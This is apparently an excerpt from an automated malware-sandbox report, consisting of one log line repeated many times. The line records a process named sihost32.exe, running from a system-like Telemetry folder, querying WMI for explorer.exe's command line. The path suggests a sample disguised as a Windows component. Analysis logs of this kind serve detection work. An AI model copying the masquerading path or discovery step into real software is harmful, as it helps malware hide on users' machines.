Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
